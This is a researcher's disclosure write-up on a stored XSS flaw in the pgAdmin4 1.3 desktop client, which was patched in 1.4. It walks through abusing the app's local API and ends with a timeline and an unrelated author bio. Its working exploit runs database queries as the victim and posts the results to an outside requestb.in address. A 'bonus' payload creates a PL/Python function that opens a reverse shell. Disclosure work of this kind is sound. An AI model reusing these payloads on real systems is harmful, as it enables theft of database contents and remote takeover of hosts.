This is the story of how I found and exploited XSS (content injection) in the pgAdmin4 1.3 desktop client. (Before I get too much further if you use pgAdmin 4 go update to 1.4 I’ll wait)
The Spark
This all started the one day when I speculated that pgAdmin 4 was a web application, due to the fact that it zooms in and out like below when I’m trying to use it because part of my hand touches the ridiculously large touchpad on the new MBP. O_o
It took my subconscious about 24 hours to go from I can’t use this app to, wait.. if this is a web app (which I wasn’t sure of quite yet) to we can attack it like one.
A quick insert and select was the first thing I tried. I did not expect it to work.. It worked.
This means that a user of pgAdmin 4 viewing untrusted data (basically any data that comes from a web application) is vulnerable to this injection attack.
Ok, now what?
Now I had to find a way to do something interesting in the execution context I was given. I had to explore. I looked at 2 things. The constraints my environment put on me and how the application performed it’s various operations in a normal environment (i.e. how did it make a query)
Failure #1: Beef hook
I tried to hook in beef, the browser exploitation framework, but it just failed to connect back. I was rather impatient so I gave up on this fairly quickly and moved on to something more simple and reliable (but slower): alert
Moving on
I treated the app like a black box. Even though I had the source I wanted to really understand the constraints of the environment from where my code was executing. I looked around the environment for a while to see if I could find any exposed globals or objects attached to window that might be useful in performing operations as the user. I found nothing of use here and quickly gave up after about 15 min.
Making a query work
Knowing that the application could make queries, I just have to figure out how to do it myself. I alerted out window.location
captured the port the server was listening on and got out tcpdump.
I recorded the traffic on localhost and performed a query tcpdump -vvnni lo0 -w pgadmin.pcap port 53108
This gave me the various API calls that were made to localhost:53108. I’ll spare you the details of digging through packet captures, but I narrowed it down to 4 steps to perform a query. Note I have no idea why this is, just what’s required based on my limited knowledge of how all this works.
- Get the DB List
/browser/database/nodes/1/1/
- Query tool init
'/datagrid/initialize/query_tool/1/' + id
(id from step 1) - Make the query
'/sqleditor/query_tool/start/' + gridTransId
(id from step 2) - Query for requests
'/sqleditor/poll/' + gridTransId
(id from step 2)
Failure #2:
I thought it might be interesting to perform a CSRF attack against the local server, but it turns out the port changes every time pgAdmin is launched, also they have a token that is required to be set, so that doesn’t currently look like it’s possible.
The Exploit
Here is the working exploit and a demonstration video to make a query and then exfiltrate the results to https://requestb.in
var query = ‘select current_user, current_database()’; | |
var exfil_url = ‘https://requestb.in/1azh0xv1’; | |
var exfil = function (data) { | |
//alert(‘exfiltrating….’); | |
$.post(exfil_url, {data: JSON.stringify(data)}, function () { | |
}); | |
} | |
// DB List | |
$.get(‘/browser/database/nodes/1/1/’, function (response) { | |
var d = JSON.stringify(response.data); | |
var doStuff = function (arr) { | |
if (arr.length == 0) { | |
return; // all done | |
} | |
var id = arr.shift()._id; | |
// Query Tool Init | |
$.post(‘/datagrid/initialize/query_tool/1/’ + id, function (response) { | |
var gridTransId = response.data.gridTransId; | |
// Make Query | |
$.ajax(‘/sqleditor/query_tool/start/’ + gridTransId, { | |
type: ‘post’, | |
data: ‘”‘ + query + ‘”‘, | |
dataType: ‘json’, | |
contentType: ‘application/json’, | |
success: function(response) { | |
// Get Results | |
setTimeout(function () { | |
$.get(‘/sqleditor/poll/’ + gridTransId, function (response) { | |
exfil(response.data.result); | |
return doStuff(arr); | |
}).fail(function () { | |
return doStuff(arr); | |
}) | |
}, 0); | |
} | |
}).fail(function () { | |
return doStuff(arr); | |
}) | |
}).fail(function () { | |
return doStuff(arr); | |
}) | |
} | |
doStuff(response.data); | |
}); | |
Bonus: Code Execution
If you made it this far you probably want something special. How about RCE?
Executing these 3 queries will help you get a nice shell if the user connected to the database has permissions.
- Enable python language
create language plpythonu
- Create a function to call home You can drop this into the poc above.
var query = 'CREATE OR REPLACE FUNCTION pwn() RETURNS text\\nLANGUAGE plpythonu\\nAS $$\\nimport socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\\"127.0.0.1\\",4445))\\nos.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\na=subprocess.Popen([\\"/bin/sh\\",\\"-i\\"])\\nreturn \\"\\"\\n$$;\\n';
- Execute the function
select pwn()
Timeline
- 03-16-2017 – Initial Discovery
- 03-17-2017 – Reliable Exploit
- 03-17-2017 – Initial Report to security@postgresql.org
- 03-20-2017 – Acknowledgement of report by Dave Page
- 03-31-2017 – Update with release in about a week
- 04-10-2017 – Patched release published
I’d like to thank the current maintainer Dave Page for his help in fixing this for all the pgAdmin users. Security issues can be frustrating to deal with and developers that take the time to understand the issue, communicate with the reporters, and fix issue while continuing to add features as they had planned are greatly appreciated.
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.